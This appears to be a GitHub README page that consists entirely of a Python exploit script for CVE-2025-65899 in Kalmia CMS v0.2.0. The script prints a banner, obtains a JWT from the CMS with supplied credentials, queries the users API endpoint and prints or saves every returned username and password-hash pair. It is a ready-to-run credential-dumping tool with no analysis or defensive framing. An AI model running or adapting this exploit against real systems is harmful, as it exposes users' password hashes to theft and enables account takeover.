README.md
Rendering markdown...
#!/usr/bin/env python3
import argparse
import requests
import json
import sys
import os
from colorama import Fore, Style, init
from urllib.parse import urljoin
from time import sleep
init(autoreset=True)
banner = """
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ ███████╗ █████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██╔════╝ ██╔════╝██╔══██╗██╔═████╗██╔═████╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗███████╗ ███████╗╚██████║██║██╔██║██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══██╗╚════██║ ╚═══██║████╔╝██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ╚██████╔╝███████║ █████╔╝╚██████╔╝╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═════╝ ╚══════╝ ╚════╝ ╚═════╝ ╚═════╝
"""
for char in banner:
print(f"{Fore.RED}{Style.BRIGHT}{char}", end='', flush=True)
sleep(0.0008)
def getToken(url_base, endpoint_token, credentials):
full_url = urljoin(url_base, endpoint_token)
print(f"{Fore.YELLOW}{Style.BRIGHT}[*] Request token: {full_url}\n")
try:
response = requests.post(
full_url,
headers={
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
},
data=json.dumps(credentials),
timeout=30
)
if response.status_code != 200:
print(f"[!] Status Code: {response.status_code}")
sys.exit(1)
try:
resposta_json = response.json()
token = resposta_json['token']
return token
except json.JSONDecodeError:
print(f"\n[!] Invalid response")
print(f"[+] Response content: {response.text}")
sys.exit(1)
except requests.exceptions.RequestException as e:
print(f"[!] Request error: {e}")
sys.exit(1)
except Exception as e:
print(f"[!] Unexpected error: {e}")
sys.exit(1)
def dumpHashes(url, token, output):
credentials = []
response = requests.get(
url,
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Authorization': f'Bearer {token}'
},
timeout=30
)
if response.status_code != 200:
print(f"[!] Status Code: {response.status_code}")
sys.exit(1)
response = response.json()
for items in response:
credentials.append(f"{items['username']}:{items['password']}")
for creds in credentials:
print(f"{Fore.GREEN}{Style.BRIGHT}[+] {creds}")
if output:
output_path = os.path.abspath(output)
with open(output_path, 'w') as f:
for creds in credentials:
f.write(creds + '\n')
def main():
parser = argparse.ArgumentParser(description='Exploit for dump password hashes: Kalmia CMS v0.2.0 - CVE-2025-65899', formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument('url', help='Base URL needs http or https (ex: http://localhost:2727)')
parser.add_argument('-t', '--token-endpoint',default='/kal-api/auth/jwt/create',help='Endpoint to get access token (default: /kal-api/auth/jwt/create)')
parser.add_argument('-u', '--user',required=True, help='User for authetication')
parser.add_argument('-p', '--password', required=True, help='Password for authetication')
parser.add_argument('-d', '--dump', default='/kal-api/auth/users', help='Optional parameter to API for dumping users and password hashes (default: /kal-api/auth/users)')
parser.add_argument('-a', '--auth', help='Optional parameter to skip getToken function')
parser.add_argument('-o', '--output',help='Save password hashes')
args = parser.parse_args()
credentials = {
'username': args.user,
'password': args.password
}
print("-" * 50)
print(f"[*] URL Base: {args.url}")
print(f"[*] Endpoint Token: {args.token_endpoint}")
print(f"[*] Endpoint Password Hashes: {args.dump}")
print("-" * 50)
if not args.url.startswith(('http://', 'https://')):
print("[!] URL needs to start with http:// ou https://")
sys.exit(1)
if not args.auth:
token = getToken(args.url, args.token_endpoint,credentials)
else:
token = args.auth
if not args.output:
output = None
else:
output = args.output
dumpHashes(urljoin(args.url, args.dump), token, output)
if token is None:
print("\n[!] Request failure")
sys.exit(1)
else:
print("\n[+] Request success")
sys.exit(0)
if __name__ == "__main__":
main()